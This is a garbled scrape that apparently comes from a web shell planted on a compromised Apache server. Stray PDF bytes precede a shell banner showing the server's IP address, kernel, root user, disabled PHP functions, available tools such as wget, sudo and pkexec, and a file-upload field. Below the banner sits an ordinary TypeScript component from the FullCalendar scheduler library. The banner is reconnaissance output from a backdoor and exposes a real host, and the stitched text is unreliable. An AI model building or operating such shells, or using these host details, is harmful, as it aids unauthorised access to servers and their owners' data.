%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/cwd/html/ppaobm/vendor/bower-asset/fullcalendar-scheduler/src/timeline/ |
Upload File : |
import { isInt, findElements, createElement, findChildren, PositionCache, removeElement, getDayClasses, Component, ComponentContext, DateProfile, multiplyDuration } from '@fullcalendar/core' import { TimelineDateProfile } from './timeline-date-profile' export interface TimelineSlatsProps { dateProfile: DateProfile tDateProfile: TimelineDateProfile } export default class TimelineSlats extends Component<TimelineSlatsProps> { el: HTMLElement slatColEls: HTMLElement[] slatEls: HTMLElement[] outerCoordCache: PositionCache innerCoordCache: PositionCache constructor(context: ComponentContext, parentEl: HTMLElement) { super(context) parentEl.appendChild( this.el = createElement('div', { className: 'fc-slats' }) ) } destroy() { removeElement(this.el) super.destroy() } render(props: TimelineSlatsProps) { this.renderDates(props.tDateProfile) } renderDates(tDateProfile: TimelineDateProfile) { let { theme, view, dateEnv } = this let { slotDates, isWeekStarts } = tDateProfile let html = '<table class="' + theme.getClass('tableGrid') + '">' + '<colgroup>' for (let i = 0; i < slotDates.length; i++) { html += '<col/>' } html += '</colgroup>' html += '<tbody><tr>' for (let i = 0; i < slotDates.length; i++) { html += this.slatCellHtml(slotDates[i], isWeekStarts[i], tDateProfile) } html += '</tr></tbody></table>' this.el.innerHTML = html this.slatColEls = findElements(this.el, 'col') this.slatEls = findElements(this.el, 'td') for (let i = 0; i < slotDates.length; i++) { view.publiclyTrigger('dayRender', [ { date: dateEnv.toDate(slotDates[i]), el: this.slatEls[i], view } ]) } this.outerCoordCache = new PositionCache( this.el, this.slatEls, true, // isHorizontal false // isVertical ) // for the inner divs within the slats // used for event rendering and scrollTime, to disregard slat border this.innerCoordCache = new PositionCache( this.el, findChildren(this.slatEls, 'div'), true, // isHorizontal false // isVertical ) } slatCellHtml(date, isEm, tDateProfile: TimelineDateProfile) { let { theme, dateEnv } = this let classes if (tDateProfile.isTimeScale) { classes = [] classes.push( isInt(dateEnv.countDurationsBetween( tDateProfile.normalizedRange.start, date, tDateProfile.labelInterval )) ? 'fc-major' : 'fc-minor' ) } else { classes = getDayClasses(date, this.props.dateProfile, this.context) classes.push('fc-day') } classes.unshift(theme.getClass('widgetContent')) if (isEm) { classes.push('fc-em-cell') } return '<td class="' + classes.join(' ') + '"' + ' data-date="' + dateEnv.formatIso(date, { omitTime: !tDateProfile.isTimeScale, omitTimeZoneOffset: true }) + '"' + '><div></div></td>' } updateSize() { // just updates position caches this.outerCoordCache.build() this.innerCoordCache.build() } positionToHit(leftPosition) { let { outerCoordCache } = this let { tDateProfile } = this.props let slatIndex = outerCoordCache.leftToIndex(leftPosition) if (slatIndex != null) { // somewhat similar to what TimeGrid does. consolidate? let slatWidth = outerCoordCache.getWidth(slatIndex) let partial = this.isRtl ? (outerCoordCache.rights[slatIndex] - leftPosition) / slatWidth : (leftPosition - outerCoordCache.lefts[slatIndex]) / slatWidth let localSnapIndex = Math.floor(partial * tDateProfile.snapsPerSlot) let start = this.dateEnv.add( tDateProfile.slotDates[slatIndex], multiplyDuration(tDateProfile.snapDuration, localSnapIndex) ) let end = this.dateEnv.add(start, tDateProfile.snapDuration) return { dateSpan: { range: { start, end }, allDay: !this.props.tDateProfile.isTimeScale }, dayEl: this.slatColEls[slatIndex], left: outerCoordCache.lefts[slatIndex], // TODO: make aware of snaps? right: outerCoordCache.rights[slatIndex] } } return null } }